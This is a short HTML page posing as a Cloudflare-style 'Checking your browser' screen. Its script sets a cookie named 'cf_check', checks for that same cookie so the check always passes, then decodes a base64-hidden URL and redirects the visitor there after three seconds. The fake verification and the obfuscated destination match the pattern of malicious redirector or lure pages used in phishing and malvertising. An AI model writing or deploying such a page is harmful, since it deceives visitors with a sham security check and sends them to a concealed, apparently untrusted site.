<!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml" lang="en-US">
<head>
  <meta charset="UTF-8"/>
  <title>Checking your browser...</title>
  <meta name="viewport" content="width=device-width, initial-scale=1.0"/>
  <style>
    body {
      background-color: #ffffff;
      font-family: Arial, sans-serif;
      text-align: center;
      padding-top: 100px;
      color: #333;
    }
    .loader {
      margin: 30px auto;
      border: 5px solid #f3f3f3;
      border-top: 5px solid #3498db;
      border-radius: 50%;
      width: 40px;
      height: 40px;
      animation: spin 1s linear infinite;
    }
    @keyframes spin {
      0% { transform: rotate(0deg); }
      100% { transform: rotate(360deg); }
    }
    .note {
      font-size: 16px;
      margin-top: 20px;
    }
  </style>
</head>
<body>

  <h2>Checking your browser...</h2>
  <div class="loader"></div>
  <div class="note">
    <p>Please wait while we redirect you securely.</p>
    <p>If nothing happens, please make sure your browser has JavaScript and Cookies enabled.</p>
  </div>

  <script>
    //
    document.cookie = "cf_check=ok; path=/; SameSite=Lax";

    //
    function hasCookie(name) {
      return document.cookie.split(';').some(c => c.trim().startsWith(name + '='));
    }

    //
    function decodeBase64(str) {
      try {
        return atob(str);
      } catch (e) {
        return null;
      }
    }

    //
    const encodedURL = "aHR0cHM6Ly9kdHJhZi5jb20vM3J4cmVk";

    //
    setTimeout(function () {
      if (hasCookie("cf_check")) {
        const decodedURL = decodeBase64(encodedURL);
        if (decodedURL) {
          window.location.href = decodedURL;
        } else {
          document.querySelector(".note").innerHTML = "❌ Redirection error. Please try again.";
        }
      } else {
        document.querySelector(".note").innerHTML = "❌ Verification failed. Please refresh the page or try another browser.";
      }
    }, 3000);
  </script>

</body>
</html>
